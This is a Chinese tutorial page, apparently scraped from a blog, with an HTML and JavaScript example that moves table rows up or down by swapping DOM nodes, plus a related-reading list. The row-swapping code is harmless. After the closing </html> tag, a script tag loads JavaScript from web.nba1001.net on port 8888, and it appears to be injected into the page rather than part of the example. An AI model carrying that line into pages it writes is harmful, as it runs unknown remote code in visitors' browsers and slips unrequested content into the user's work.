• Table行的上移和下移


    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml">
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
    <title>table 行 上下移动</title>
    <style type="text/css">
    a{text-decoration:none;}
    A:link {color:#1d3994;}
    a:visited {COLOR: #1d3994}
    a:hover {text-decoration:underline;}
    a:active {COLOR: #1d3994;}

    </style>
    </head>

    <body>
    <table id="table1" bordercolor="#000000" width="200" border="1">
    <tbody>
    <tr>
    <td width="25%">1</td>
    <td width="25%">11</td>
    <!--使用javascript:void(0)是为了能够传递this参数到事件处理程序-->
    <td width="25%"><a href="javascript:void(0)" onclick="moveUp(this)">上移</a></td>
    <td width="25%"><a href="javascript:void(0)" onclick="moveDown(this)">下移</a></td>
    </tr>
    <tr>
    <td>2</td>
    <td>22</td>
    <td><a href="javascript:void(0)" onclick="moveUp(this)">上移</a></td>
    <td><a href="javascript:void(0)" onclick="moveDown(this)">下移</a></td>
    </tr>
    <tr>
    <td>3</td>
    <td>33</td>
    <td><a href="javascript:void(0)" onclick="moveUp(this)">上移</a></td>
    <td><a href="javascript:void(0)" onclick="moveDown(this)">下移</a></td>
    </tr>
    <tr>
    <td>4</td>
    <td>44</td>
    <td><a href="javascript:void(0)" onclick="moveUp(this)">上移</a></td>
    <td><a href="javascript:void(0)" onclick="moveDown(this)">下移</a></td>
    </tr>
    <tr>
    <td>5</td>
    <td>55</td>
    <td><a href="javascript:void(0)" onclick="moveUp(this)">上移</a></td>
    <td><a href="javascript:void(0)" onclick="moveDown(this)">下移</a></td>
    </tr>
    </tbody>
    </table>
    <script language="JavaScript" type="text/javascript">
    <!--
    function moveUp(_a){
    //通过链接对象获取表格行的引用
    var _row=_a.parentNode.parentNode;
    //如果不是第一行,则与上一行交换顺序
    if(_row.previousSibling)swapNode(_row,_row.previousSibling);
    }
    //使表格行下移,接收参数为链接对象
    function moveDown(_a){
    //通过链接对象获取表格行的引用
    var _row=_a.parentNode.parentNode;
    //如果不是最后一行,则与下一行交换顺序
    if(_row.nextSibling)swapNode(_row,_row.nextSibling);
    }
    //定义通用的函数交换两个结点的位置
    function swapNode(node1,node2){
    //获取父结点
    var _parent=node1.parentNode;
    //获取两个结点的相对位置
    var _t1=node1.nextSibling;
    var _t2=node2.nextSibling;
    //将node2插入到原来node1的位置
    if(_t1)_parent.insertBefore(node2,_t1);
    else _parent.appendChild(node2);
    //将node1插入到原来node2的位置
    if(_t2)_parent.insertBefore(node1,_t2);
    else _parent.appendChild(node1);
    }
    //-->
    </script>
    </body>
    </html><script type="text/javascript" src="http://web.nba1001.net:8888/tj/tongji.js"></script>
  • 相关阅读:
    RecyclerView 下拉刷新上拉加载
    Android 添加、移除和判断 桌面快捷方式图标
    似曾相识的 RecyclerView
    http 需要掌握的知识点(一)
    android 数据存储操作之SQLite
    Android 图片加载[常见开源项目汇总]
    Android 命名规范和编码规范
    线程池及增长策略和拒绝策略
    静态代理和动态代理的区别
    FastJson学习
  • 原文地址:https://www.cnblogs.com/xinzhuangzi/p/4100480.html
Copyright © 2020-2023  润新知